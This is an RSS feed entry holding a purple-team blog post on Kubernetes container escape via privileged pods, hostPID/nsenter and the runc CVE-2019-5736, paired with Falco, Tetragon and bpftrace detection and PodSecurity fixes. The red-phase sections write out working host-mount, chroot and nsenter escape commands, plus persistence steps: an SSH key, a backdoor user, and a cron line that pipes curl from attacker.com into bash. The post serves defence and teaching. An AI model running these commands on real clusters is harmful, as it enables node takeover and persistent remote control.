<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Runtime Security Archives - Linuxcent</title>
	<atom:link href="https://linuxcent.com/tag/runtime-security/feed/" rel="self" type="application/rss+xml" />
	<link>https://linuxcent.com/tag/runtime-security/</link>
	<description>Infrastructure security, from the kernel up.</description>
	<lastBuildDate>Mon, 06 Jul 2026 03:36:53 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0.4</generator>

<image>
	<url>https://linuxcent.com/wp-content/uploads/2026/04/favicon-512x512-1-150x150.png</url>
	<title>Runtime Security Archives - Linuxcent</title>
	<link>https://linuxcent.com/tag/runtime-security/</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">211632295</site>	<item>
		<title>Kubernetes Container Escape: Attack Paths and eBPF Detection</title>
		<link>https://linuxcent.com/kubernetes-container-escape-attack-paths/</link>
					<comments>https://linuxcent.com/kubernetes-container-escape-attack-paths/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Fri, 26 Jun 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[Container Escape]]></category>
		<category><![CDATA[eBPF]]></category>
		<category><![CDATA[Kubernetes]]></category>
		<category><![CDATA[OWASP]]></category>
		<category><![CDATA[Runtime Security]]></category>
		<category><![CDATA[Security]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1864</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 17</span> <span class="rt-label rt-postfix">minutes</span></span>Kubernetes container escape via --privileged or runc CVEs: two commands from container to node root. Attack path anatomy, eBPF detection, and the structural fixes that close each path.</p>
<p>The post <a href="https://linuxcent.com/kubernetes-container-escape-attack-paths/">Kubernetes Container Escape: Attack Paths and eBPF Detection</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 17</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-purple-team-security/">What is purple team security</a> → <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 mapped to cloud infrastructure</a> → <a href="/cloud-security-breaches-2020-2025/">Cloud security breaches 2020–2025</a> → <a href="/broken-access-control-aws/">Broken access control in AWS</a> → <a href="/mfa-fatigue-attack/">MFA fatigue attacks</a> → <a href="/cicd-secrets-exposure/">CI/CD secrets exposure</a> → <a href="/ssrf-cloud-metadata-imds-capital-one/">SSRF to cloud metadata</a> → <strong>Kubernetes Container Escape</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>Kubernetes container escape</strong> is OWASP A04 + A05: a container deployed with <code class="" data-line="">--privileged</code>, <code class="" data-line="">hostPID</code>, or <code class="" data-line="">hostNetwork</code> is not meaningfully isolated from the host — two commands can produce a root shell on the node</li>
<li>The kernel does not enforce Kubernetes namespace semantics. Container isolation comes from Linux namespaces, cgroups, and seccomp. <code class="" data-line="">--privileged</code> removes those boundaries — the kernel sees no difference between the container and the host</li>
<li>Three primary escape paths: privileged container with host device access, <code class="" data-line="">hostPID</code> + <code class="" data-line="">nsenter</code>, and runc CVEs (CVE-2019-5736) that allow a malicious container to overwrite the runc binary during exec</li>
<li>Detection requires kernel-level visibility: Falco fires on privilege container exec; Tetragon traces <code class="" data-line="">nsenter</code> and <code class="" data-line="">mount</code> syscalls at the point of the kernel hook, not a process name check that can be evaded</li>
<li>The structural fix is PodSecurity admission enforcing the Restricted profile at the namespace level — policy that blocks <code class="" data-line="">--privileged</code>, <code class="" data-line="">hostPID</code>, <code class="" data-line="">hostNetwork</code>, and mounts before a pod ever schedules</li>
<li>Network policy as a secondary layer: even if a container escapes to the node, a network policy that blocks the escaped process from reaching the Kubernetes API server limits lateral movement to the cluster control plane</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> A04 Insecure Design — <code class="" data-line="">--privileged</code> placed in production workloads because the development environment never enforced boundaries. A05 Security Misconfiguration — absence of PodSecurity admission, RuntimeClass, and seccomp profiles.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌─────────────────────────────────────────────────────────────────────────┐
│              KUBERNETES CONTAINER ESCAPE — ATTACK SURFACE               │
│                                                                         │
│  ┌──────────────────────────────────────────────────────────────┐       │
│  │                     KUBERNETES NODE                          │       │
│  │                                                              │       │
│  │  ┌───────────────────────────────────────────────────────┐   │       │
│  │  │  Container (--privileged)                             │   │       │
│  │  │                                                       │   │       │
│  │  │  web app ──&#x25b6; exploit ──&#x25b6; shell in container          │   │       │
│  │  │                           │                           │   │       │
│  │  │  PATH 1: mount /dev/sda1  │                           │   │       │
│  │  │  ──────────────────────── ▼                           │   │       │
│  │  │  chroot /mnt/host → root shell on node                │   │       │
│  │  └───────────────────────────────────────────────────────┘   │       │
│  │                                                              │       │
│  │  ┌───────────────────────────────────────────────────────┐   │       │
│  │  │  Container (hostPID=true)                             │   │       │
│  │  │                                                       │   │       │
│  │  │  PATH 2: nsenter -t 1 -m -u -i -n -p -- bash         │   │       │
│  │  │  ─────────────────────────────────────────────────&#x25b6;   │   │       │
│  │  │           root shell in host PID 1 namespaces         │   │       │
│  │  └───────────────────────────────────────────────────────┘   │       │
│  │                                                              │       │
│  │  ┌───────────────────────────────────────────────────────┐   │       │
│  │  │  Container (runc CVE)                                 │   │       │
│  │  │                                                       │   │       │
│  │  │  PATH 3: overwrite /proc/self/exe during runc exec    │   │       │
│  │  │  ─────────────────────────────────────────────────&#x25b6;   │   │       │
│  │  │           arbitrary code execution as root on node    │   │       │
│  │  └───────────────────────────────────────────────────────┘   │       │
│  │                                                              │       │
│  │  Node root → kubectl access → cluster-admin via node creds  │       │
│  └──────────────────────────────────────────────────────────────┘       │
│                                                                         │
│  DETECTION LAYER        │  STRUCTURAL FIX                               │
│  Falco / Tetragon       │  PodSecurity Restricted                       │
│  mount syscall hooks    │  RuntimeClass (gVisor/Kata)                   │
│  audit logs             │  Seccomp + no-new-privileges                  │
└─────────────────────────────────────────────────────────────────────────┘
</code></pre>
<p><strong>Kubernetes container escape</strong> is the point where a compromised application pod becomes a compromised Kubernetes node — and from a node, an attacker reaches the kubelet credential, the node&#8217;s service account, and often a path to cluster-admin. The boundary between container and host is not the Kubernetes API. It is Linux namespaces, cgroups, and seccomp. When you remove those with <code class="" data-line="">--privileged</code>, you remove the boundary.</p>
<hr />
<h2 id="the-incident-privileged-just-for-debugging">The Incident: &#8211;privileged &#8220;Just for Debugging&#8221;</h2>
<p>A networking issue in staging. The developer can&#8217;t get the CNI tracing they need from inside the normal container. Someone adds <code class="" data-line="">--privileged: true</code> to the pod spec to expose <code class="" data-line="">/sys/class/net</code> and the raw packet socket. The PR merges. The staging deployment works. The <code class="" data-line="">--privileged</code> flag stays in the manifest when staging gets promoted to production.</p>
<p>Six months later, the web application running in that pod has an RCE vulnerability. The attacker gets a shell.</p>
<p>Inside the container, two commands:</p>
<pre><code class="" data-line="">mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host /bin/bash
</code></pre>
<p>Root on the node. Not escalation through a kernel exploit. Not a zero-day. Just mounting the device that was always accessible because <code class="" data-line="">--privileged</code> was set.</p>
<p>The node has a kubelet credential and a service account token with broader permissions than the compromised application ever needed. From the node, lateral movement into the cluster control plane is a matter of using credentials that are already there.</p>
<p>This is A04 (Insecure Design) and A05 (Security Misconfiguration) combined: the design didn&#8217;t account for what happens when the boundary is removed, and no enforcement mechanism prevented the configuration from reaching production.</p>
<hr />
<h2 id="why-the-kernel-doesnt-know-about-kubernetes">Why the Kernel Doesn&#8217;t Know About Kubernetes</h2>
<p>Kubernetes namespaces are a scheduler and API concept. When you create a Kubernetes namespace and apply RBAC to it, you are controlling what the Kubernetes API server will accept — you are not creating a kernel isolation boundary between workloads in different namespaces.</p>
<p>Kernel isolation comes from:</p>
<pre><code class="" data-line="">Linux namespaces (PID, net, mount, IPC, UTS, user)
  ├── Created by container runtime (containerd, crio)
  ├── Container processes run inside these namespaces
  └── From inside: host PIDs, host network, host filesystem are not visible

cgroups
  ├── Limit CPU, memory, and device access per container
  └── Prevent runaway resource consumption and limit device access scope

seccomp profiles
  ├── Filter system calls the container is allowed to invoke
  └── Block ptrace, mount, CAP_SYS_ADMIN and other privileged syscalls

Capabilities
  ├── Fine-grained kernel privileges (CAP_NET_ADMIN, CAP_SYS_ADMIN, etc.)
  └── --privileged grants ALL capabilities + disables seccomp + disables AppArmor
</code></pre>
<p><code class="" data-line="">--privileged</code> removes all three layers simultaneously. It grants every capability, disables the default seccomp filter, and disables AppArmor confinement. A privileged container is effectively a process running on the host with a different filesystem view — and with <code class="" data-line="">mount</code>, you can fix even the filesystem view.</p>
<hr />
<h2 id="red-phase-the-three-escape-paths">Red Phase: The Three Escape Paths</h2>
<h3 id="path-1-privileged-container">Path 1: &#8211;privileged Container</h3>
<p>A privileged container has <code class="" data-line="">CAP_SYS_ADMIN</code>, which includes the ability to mount arbitrary block devices. On a node with a standard Linux filesystem, <code class="" data-line="">/dev/sda1</code> or equivalent contains the host root filesystem.</p>
<p><strong>Check if the current container is privileged:</strong></p>
<pre><code class="" data-line=""># CapEff shows the effective capability set as a hex bitmask
cat /proc/1/status | grep CapEff
# CapEff: 0000003fffffffff

# Decode it
capsh --decode=0000003fffffffff | grep -o &#039;cap_sys_admin&#039;
# cap_sys_admin — present means privileged
</code></pre>
<p><strong>Full escape sequence:</strong></p>
<pre><code class="" data-line=""># Step 1: Identify the host block device
# /proc/mounts shows what the container runtime mounted
cat /proc/mounts | grep &#039; / &#039;
# overlay on / type overlay (rw,...,upperdir=/var/lib/containerd/...)

# Or: check fdisk/lsblk — visible in privileged container
lsblk
# NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS
# sda      8:0    0   80G  0 disk
# ├─sda1   8:1    0   79G  0 part /
# └─sda2   8:2    0    1G  0 part [SWAP]

# Step 2: Mount host root filesystem
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host

# Step 3a: Write attacker SSH key to host authorized_keys
echo &quot;ssh-rsa AAAA...&quot; &gt;&gt; /mnt/host/root/.ssh/authorized_keys

# Step 3b: Or take an immediate root shell via chroot
chroot /mnt/host /bin/bash
# Now running as root in the host filesystem
# id: uid=0(root) gid=0(root)

# Step 4: From host root — access kubelet credentials
cat /etc/kubernetes/pki/ca.crt
# Or pull the node&#039;s bootstrap token / client cert for API server access
ls /var/lib/kubelet/pki/
</code></pre>
<p><strong>What persistence looks like from node root:</strong></p>
<pre><code class="" data-line=""># Add a backdoor user to host /etc/passwd
chroot /mnt/host useradd -m -s /bin/bash -G sudo backdoor
chroot /mnt/host passwd backdoor

# Or: schedule a cron job on the host
echo &quot;* * * * * root curl http://attacker.com/c2 | bash&quot; \
  &gt;&gt; /mnt/host/etc/cron.d/maintenance
</code></pre>
<h3 id="path-2-hostpid-hostnetwork-escape">Path 2: hostPID / hostNetwork Escape</h3>
<p><code class="" data-line="">hostPID: true</code> is a less obvious escape path than <code class="" data-line="">--privileged</code> but equally dangerous. When a container shares the host PID namespace, it can see and interact with every process running on the node — including PID 1, which is running in the host&#8217;s full namespace set.</p>
<p><strong>With hostPID enabled, nsenter produces a host root shell without mounting anything:</strong></p>
<pre><code class="" data-line=""># From inside the container — see all host processes
ps aux
# This will show containerd, kubelet, systemd, sshd — everything on the node

# nsenter: enter the namespaces of PID 1 (host init process)
# -t 1: target PID 1
# -m: enter mount namespace (host filesystem)
# -u: enter UTS namespace (host hostname)
# -i: enter IPC namespace
# -n: enter network namespace
# -p: enter PID namespace
nsenter -t 1 -m -u -i -n -p -- bash

# Now running in host namespaces
hostname   # shows node hostname, not container hostname
mount | grep &quot; / &quot;  # shows host root mount, not container overlay
id         # uid=0(root) gid=0(root)
</code></pre>
<blockquote>
<p><strong>nsenter</strong> — a Linux utility that enters the namespaces of an existing process. With <code class="" data-line="">-t 1</code> it enters PID 1&#8217;s namespaces, which are the host&#8217;s namespaces. The result is a shell that sees the host filesystem, host network, and host process tree as if running directly on the node.</p>
</blockquote>
<p><code class="" data-line="">hostNetwork: true</code> on its own does not directly produce a root shell, but it exposes the node&#8217;s network interfaces and allows binding to host ports. Combined with access to the cloud provider&#8217;s instance metadata service (IMDS), it enables credential theft from the node&#8217;s IAM role — the attack path covered in <a href="/ssrf-cloud-metadata-imds-capital-one/">SSRF to cloud metadata and IMDSv1 exploitation</a>.</p>
<h3 id="path-3-runc-cve-escape-cve-2019-5736">Path 3: runc CVE Escape (CVE-2019-5736)</h3>
<p>CVE-2019-5736 is a different attack class — it does not require a misconfiguration in the pod spec. It exploits a race condition in the runc container runtime itself.</p>
<p>The mechanism:</p>
<pre><code class="" data-line="">1. Attacker controls a container image
2. Image&#039;s entrypoint is a symlink: /proc/self/exe → /runc (or similar path)
3. Operator runs: kubectl exec -it &lt;pod&gt; -- /bin/bash
4. runc reads /proc/self/exe to find its own binary path during exec
5. Attacker&#039;s process in container has a brief window to overwrite /proc/self/exe
6. Race condition: attacker overwrites the runc binary on the host with malicious binary
7. On next runc exec, malicious binary runs as root on the host
</code></pre>
<p>The detection signature for runc-class escapes is writes to <code class="" data-line="">/proc/self/exe</code> or writes to paths that correspond to runc&#8217;s host binary location from within a container process:</p>
<pre><code class="" data-line=""># Simplified bpftrace detection of /proc/self/exe writes (safe to run as read):
# This shows the pattern — Tetragon implements this as a continuous policy

bpftrace -e &#039;
tracepoint:syscalls:sys_enter_write {
  // Track write() calls where the fd points to /proc/self/exe
  // In production: Tetragon handles this at the LSM hook level
  printf(&quot;PID %d comm %s writing fd %d\n&quot;, pid, comm, args-&gt;fd);
}
&#039; 2&gt;/dev/null | head -20
</code></pre>
<p>Patched versions of runc (1.0.0-rc7+, containerd 1.2.3+) fix the race condition. The practical implication: <strong>node patching is the only fix for runc-class CVEs</strong> — pod security policy cannot prevent a vulnerability in the container runtime itself.</p>
<h3 id="safe-simulation-audit-your-cluster-before-an-attacker-does">Safe Simulation: Audit Your Cluster Before an Attacker Does</h3>
<p>These commands are read-only and safe to run against any cluster you have kubectl access to:</p>
<pre><code class="" data-line=""># Find all pods running with --privileged
kubectl get pods -A -o json | \
  jq -r &#039;.items[] |
    select(.spec.containers[].securityContext.privileged == true) |
    [.metadata.namespace, .metadata.name, 
     (.spec.containers[] | select(.securityContext.privileged == true) | .name)] |
    join(&quot; / &quot;)&#039; | \
  sort -u

# Find pods with hostPID or hostNetwork
kubectl get pods -A -o json | \
  jq -r &#039;.items[] |
    select(.spec.hostPID == true or .spec.hostNetwork == true) |
    [.metadata.namespace, .metadata.name,
     (if .spec.hostPID then &quot;hostPID&quot; else &quot;&quot; end),
     (if .spec.hostNetwork then &quot;hostNetwork&quot; else &quot;&quot; end)] |
    join(&quot; / &quot;)&#039; | \
  grep -v &quot;/$&quot; | \
  sort -u

# Check for pods using hostPath mounts (host filesystem access via volume)
kubectl get pods -A -o json | \
  jq -r &#039;.items[] |
    select(.spec.volumes[]?.hostPath != null) |
    [.metadata.namespace, .metadata.name,
     (.spec.volumes[] | select(.hostPath != null) |
      .name + &quot;→&quot; + .hostPath.path)] |
    join(&quot; / &quot;)&#039; | \
  sort -u

# Check DaemonSets — these often run privileged and cover every node
kubectl get daemonsets -A -o json | \
  jq -r &#039;.items[] |
    select(.spec.template.spec.containers[].securityContext.privileged == true) |
    [.metadata.namespace, .metadata.name] | join(&quot;/&quot;)&#039; | \
  sort -u
</code></pre>
<hr />
<h2 id="blue-phase-ebpf-detection">Blue Phase: eBPF Detection</h2>
<p>Detecting container escape attempts requires visibility below the Kubernetes API layer. Audit logs show pod creation — they do not show what a process inside the container does with <code class="" data-line="">mount</code>, <code class="" data-line="">nsenter</code>, or <code class="" data-line="">/proc/self/exe</code>. eBPF-based tools (Falco, Tetragon) attach to kernel hooks and observe syscalls regardless of what namespace or container they originate from.</p>
<h3 id="falco-privileged-container-and-mount-detection">Falco: Privileged Container and Mount Detection</h3>
<pre><code class="" data-line=""># Falco rules for container escape detection
# /etc/falco/rules.d/container-escape.yaml

# Rule 1: Privileged container started
- rule: Privileged Container Started
  desc: &gt;
    A container running with --privileged was started.
    This removes all capability and seccomp restrictions.
  condition: &gt;
    container.privileged = true and
    evt.type = execve and
    container.id != host
  output: &gt;
    Privileged container started
    (user=%user.name user_uid=%user.uid
     command=%proc.cmdline
     container_id=%container.id
     container_name=%container.name
     image=%container.image.repository:%container.image.tag
     namespace=%k8s.ns.name pod=%k8s.pod.name)
  priority: WARNING
  tags: [container, privilege-escalation, OWASP-A05]

# Rule 2: Mount syscall from inside a container
- rule: Container Mount Syscall
  desc: &gt;
    A process inside a container invoked mount().
    In a non-privileged container this fails; in a privileged container
    it succeeds and may be mounting host block devices.
  condition: &gt;
    evt.type = mount and
    container.id != host and
    not proc.name in (container_runtime_processes)
  output: &gt;
    Mount syscall from container
    (user=%user.name
     command=%proc.cmdline
     mount_source=%evt.arg.source
     mount_target=%evt.arg.target
     container_id=%container.id
     namespace=%k8s.ns.name pod=%k8s.pod.name)
  priority: ERROR
  tags: [container, privilege-escalation, OWASP-A04]

# Rule 3: nsenter or chroot invoked inside container
- rule: Namespace Enter or Chroot in Container
  desc: &gt;
    nsenter or chroot executed from within a running container.
    nsenter with -t 1 enters host namespaces directly.
  condition: &gt;
    evt.type = execve and
    container.id != host and
    proc.name in (nsenter, chroot)
  output: &gt;
    nsenter/chroot executed in container
    (user=%user.name
     command=%proc.cmdline
     parent=%proc.pname
     container_id=%container.id
     namespace=%k8s.ns.name pod=%k8s.pod.name)
  priority: ERROR
  tags: [container, privilege-escalation, T1611]

# Rule 4: Process reading host PID tree (hostPID indicator)
- rule: Container Reading Host Process List
  desc: &gt;
    A process inside a container is reading /proc entries for PIDs
    that don&#039;t belong to it — indicates hostPID=true and enumeration.
  condition: &gt;
    evt.type = openat and
    fd.name startswith /proc/ and
    fd.name endswith /status and
    container.id != host and
    not fd.name startswith /proc/self
  output: &gt;
    Container reading host process status
    (proc=%proc.cmdline fd=%fd.name
     container_id=%container.id
     namespace=%k8s.ns.name pod=%k8s.pod.name)
  priority: WARNING
  tags: [container, discovery, T1057]
</code></pre>
<h3 id="tetragon-tracingpolicy-for-nsenter-and-mount-syscalls">Tetragon: TracingPolicy for nsenter and Mount Syscalls</h3>
<p>Tetragon attaches eBPF programs at LSM (Linux Security Module) hooks and kernel function entry/exit points. Unlike Falco which uses a single tracepoint aggregation model, Tetragon can enforce at the kernel level — it can block a syscall before it completes, not just alert after the fact.</p>
<pre><code class="" data-line=""># Tetragon TracingPolicy: detect and optionally block container escape attempts
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: container-escape-detection
  namespace: kube-system
spec:
  kprobes:
    # Hook 1: sys_mount — detect any mount() call from a container process
    - call: &quot;sys_mount&quot;
      return: false
      syscall: true
      args:
        - index: 0
          type: &quot;string&quot;     # source device (e.g. /dev/sda1)
        - index: 1
          type: &quot;string&quot;     # target mount point
        - index: 2
          type: &quot;string&quot;     # filesystem type
      selectors:
        # Only fire for container processes (not the container runtime itself)
        - matchNamespaces:
          - namespace: Pid
            operator: NotIn
            values:
              - &quot;host_pid_ns&quot;   # Replace with actual host PID NS value
          matchActions:
          - action: Post        # Post = log; change to Sigkill to enforce

    # Hook 2: __x64_sys_execve for nsenter binary
    - call: &quot;__x64_sys_execve&quot;
      return: false
      syscall: true
      args:
        - index: 0
          type: &quot;string&quot;     # filename being executed
      selectors:
        - matchArgs:
          - index: 0
            operator: Postfix
            values:
              - &quot;/nsenter&quot;
          matchActions:
          - action: Post

  # Hook 3: write to /proc/self/exe — runc CVE class indicator
  kprobes:
    - call: &quot;vfs_write&quot;
      return: false
      syscall: false
      args:
        - index: 0
          type: &quot;file&quot;
      selectors:
        - matchArgs:
          - index: 0
            operator: Postfix
            values:
              - &quot;/proc/self/exe&quot;
          matchActions:
          - action: Sigkill   # Block immediately — no legitimate use case for this write
</code></pre>
<h3 id="bpftrace-quick-node-level-validation">bpftrace: Quick Node-Level Validation</h3>
<p>Before deploying Tetragon, you can validate that mount syscalls are observable from the host using bpftrace directly on a node:</p>
<pre><code class="" data-line=""># Run on the Kubernetes node (requires root or CAP_BPF)
# Safe observation mode — shows mount attempts from any process including containers

bpftrace -e &#039;
tracepoint:syscalls:sys_enter_mount {
  printf(&quot;%-8d %-20s %-30s -&gt; %-30s type=%s\n&quot;,
    pid, comm,
    str(args-&gt;dev_name),   // source device
    str(args-&gt;dir_name),   // mount target
    str(args-&gt;type));      // filesystem type
}
&#039; 2&gt;/dev/null
# Sample output:
# PID      COMM                 SOURCE                         TARGET                         TYPE
# 38471    bash                 /dev/sda1                      /mnt/host                      ext4
# 38471 and comm=bash from inside a container = escape attempt in progress
</code></pre>
<pre><code class="" data-line=""># Watch for nsenter executions across all processes on the node
bpftrace -e &#039;
tracepoint:syscalls:sys_enter_execve {
  if (str(args-&gt;filename) == &quot;/usr/bin/nsenter&quot; ||
      str(args-&gt;filename) == &quot;/bin/nsenter&quot;) {
    printf(&quot;nsenter called: pid=%d ppid=%d comm=%s\n&quot;,
      pid, curtask-&gt;real_parent-&gt;pid, comm);
  }
}
&#039; 2&gt;/dev/null
</code></pre>
<h3 id="what-kubernetes-audit-logs-show-and-what-they-miss">What Kubernetes Audit Logs Show (and What They Miss)</h3>
<p>Kubernetes audit logs record API server activity. They show pod creation with <code class="" data-line="">--privileged</code> set — but only if you are watching pod spec creation events. They do not show anything that happens inside the container after it starts.</p>
<pre><code class="" data-line=""># Enable audit policy to capture pod creation with privileged spec
# /etc/kubernetes/audit-policy.yaml (excerpt)

apiVersion: audit.k8s.io/v1
kind: Policy
rules:
  # Log pod creation at RequestResponse level (captures full spec)
  - level: RequestResponse
    resources:
      - group: &quot;&quot;
        resources: [&quot;pods&quot;]
    verbs: [&quot;create&quot;, &quot;update&quot;, &quot;patch&quot;]

  # Log exec into pods — this is the entry point for escape attempts
  - level: RequestResponse
    resources:
      - group: &quot;&quot;
        resources: [&quot;pods/exec&quot;]
    verbs: [&quot;create&quot;]
</code></pre>
<pre><code class="" data-line=""># Parse audit log for privileged pod creation
grep &#039;&quot;privileged&quot;:true&#039; /var/log/kubernetes/audit.log | \
  jq -r &#039;[
    .requestReceivedTimestamp,
    .user.username,
    .objectRef.namespace + &quot;/&quot; + .objectRef.name,
    &quot;privileged=true&quot;
  ] | join(&quot; | &quot;)&#039;

# Or via kubectl (if audit log backend is configured)
kubectl get events -A --field-selector reason=Created \
  -o json | \
  jq -r &#039;.items[] |
    select(.message | contains(&quot;privileged&quot;)) |
    [.metadata.namespace, .involvedObject.name, .message] |
    join(&quot; / &quot;)&#039;
</code></pre>
<p>The audit log gap is important to understand: <strong>audit logs are a first-alert layer for misconfigured pod creation, not a detection layer for in-progress escape</strong>. By the time you see a pod/exec event in audit logs, the attacker already has a shell. eBPF-based detection at the syscall level is what catches the escape itself.</p>
<hr />
<h2 id="purple-phase-structural-fixes">Purple Phase: Structural Fixes</h2>
<h3 id="fix-1-podsecurity-admission-enforce-restricted-profile">Fix 1: PodSecurity Admission — Enforce Restricted Profile</h3>
<p>PodSecurity admission (built into Kubernetes 1.25+, replacing PodSecurityPolicy) enforces security profiles at the namespace level. The Restricted profile blocks <code class="" data-line="">--privileged</code>, <code class="" data-line="">hostPID</code>, <code class="" data-line="">hostNetwork</code>, <code class="" data-line="">hostPath</code> volumes, and requires dropping all capabilities.</p>
<pre><code class="" data-line=""># Enforce the Restricted PodSecurity profile on a namespace
# This blocks any pod that doesn&#039;t meet the criteria from scheduling
apiVersion: v1
kind: Namespace
metadata:
  name: production
  labels:
    # enforce: pod is rejected at admission if spec violates Restricted
    pod-security.kubernetes.io/enforce: restricted
    pod-security.kubernetes.io/enforce-version: latest
    # audit: violations are logged but not rejected (useful for rollout)
    pod-security.kubernetes.io/audit: restricted
    pod-security.kubernetes.io/audit-version: latest
    # warn: user gets a warning but pod is allowed (for migration)
    pod-security.kubernetes.io/warn: restricted
    pod-security.kubernetes.io/warn-version: latest
</code></pre>
<p>What Restricted profile blocks (relevant to escape paths):</p>
<pre><code class="" data-line=""># These settings are REQUIRED by Restricted — apply them explicitly
# to avoid the admission webhook rejecting your workloads

securityContext:
  # Pod-level
  runAsNonRoot: true
  seccompProfile:
    type: RuntimeDefault    # or Localhost with a custom profile

containers:
  - securityContext:
      allowPrivilegeEscalation: false
      privileged: false          # blocks Path 1
      capabilities:
        drop: [&quot;ALL&quot;]            # no CAP_SYS_ADMIN, no CAP_NET_ADMIN
        add: []                  # add only what is specifically required
      readOnlyRootFilesystem: true  # reduces attacker persistence options

# Pod spec — blocked by Restricted
spec:
  hostPID: false           # must be false (blocks Path 2)
  hostNetwork: false       # must be false
  hostIPC: false           # must be false
  volumes:                 # hostPath volumes blocked
    - name: app-data
      emptyDir: {}         # emptyDir, configMap, secret allowed; hostPath not
</code></pre>
<p><strong>Rollout approach for existing clusters:</strong></p>
<p>Start with <code class="" data-line="">warn</code> mode on all namespaces, identify violations, remediate, then promote to <code class="" data-line="">enforce</code>:</p>
<pre><code class="" data-line=""># Label all non-system namespaces with warn mode first
kubectl get namespaces -o json | \
  jq -r &#039;.items[] |
    select(.metadata.name | test(&quot;^(kube-system|kube-public|kube-node-lease)$&quot;) | not) |
    .metadata.name&#039; | \
  while read ns; do
    kubectl label namespace &quot;$ns&quot; \
      pod-security.kubernetes.io/warn=restricted \
      pod-security.kubernetes.io/warn-version=latest \
      --overwrite
    echo &quot;Labeled $ns&quot;
  done

# After a deployment cycle, check for warnings in admission logs
# Look for pods that would be rejected under enforce mode
kubectl get events -A --field-selector reason=FailedCreate \
